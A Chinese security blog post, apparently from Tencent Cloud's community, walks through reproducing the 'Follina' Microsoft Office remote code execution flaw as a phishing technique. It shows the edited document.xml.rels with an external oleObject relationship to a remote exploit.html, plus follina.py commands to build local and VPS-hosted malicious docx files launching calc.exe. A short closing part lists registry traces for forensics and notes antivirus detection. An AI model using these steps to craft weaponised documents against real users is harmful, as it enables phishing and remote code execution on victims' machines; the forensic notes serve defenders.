首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >钓鱼技术-Microsoft Office RCE复现

钓鱼技术-Microsoft Office RCE复现

作者头像
hyyrent
发布2022-12-26 20:22:44
发布2022-12-26 20:22:44
1.3K0
举报
文章被收录于专栏:安全学习记录安全学习记录

环境搭建

https://otp.landian.vip/zh-cn 下载工具进行office安装,这里使用的2021专业增强版

漏洞复现

新建一个空白docx文档,随便输入一串字符

修改后缀docx为zip,然后解压,解压后修改word\rels\document.xml.rels

代码语言:javascript
复制
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId8" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/footer" Target="footer1.xml"/><Relationship Id="rId13" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/><Relationship Id="rId3" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/webSettings" Target="webSettings.xml"/><Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/header" Target="header2.xml"/><Relationship Id="rId12" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/fontTable" Target="fontTable.xml"/><Relationship Id="rId2" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/settings" Target="settings.xml"/><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/><Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/header" Target="header1.xml"/><Relationship Id="rId11" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/footer" Target="footer3.xml"/><Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/endnotes" Target="endnotes.xml"/><Relationship Id="rId10" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/header" Target="header3.xml"/><Relationship Id="rId4" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/footnotes" Target="footnotes.xml"/><Relationship Id="rId1337" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/oleObject" Target="mhtml:http://ip:80/exploit.html!x-usc:http://ip:80/exploit.html" TargetMode="External"/><Relationship Id="rId9" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/footer" Target="footer2.xml"/></Relationships>

修改完重新压缩成为zip,再把后缀zip改为docx

也可以使用脚本一键生成

chvancooten/follina.py: POC to replicate the full ‘Follina’ Office RCE vulnerability for testing purposes (github.com)

本地复现:

代码语言:javascript
复制
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe

远程复现:

把exploit.html放在vps下,使用python3 -m http.server 端口开启,使用脚本生成一个远程地址的文档

代码语言:javascript
复制
python .\follina.py -t docx -m binary -b \windows\system32\calc.exe -u VPS地址

相关注册表

计算机\HKEY_CLASSES_ROOT\ms-msdt\shell\open\command

代码语言:javascript
复制
"%SystemRoot%\system32\msdt.exe" %1

利用过此漏洞会留下痕迹,溯源的时候可以通过注册表进行排查

代码语言:javascript
复制
计算机\HKEY_USERS\$USER_SID\SOFTWARE\Microsoft\Office\$OFFICE_VERSION\Common\Internet\Server Cache\

主流杀软已对此漏洞利用进行特征识别

火绒

360

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022-06-03,如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • 环境搭建
  • 漏洞复现
  • 相关注册表
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档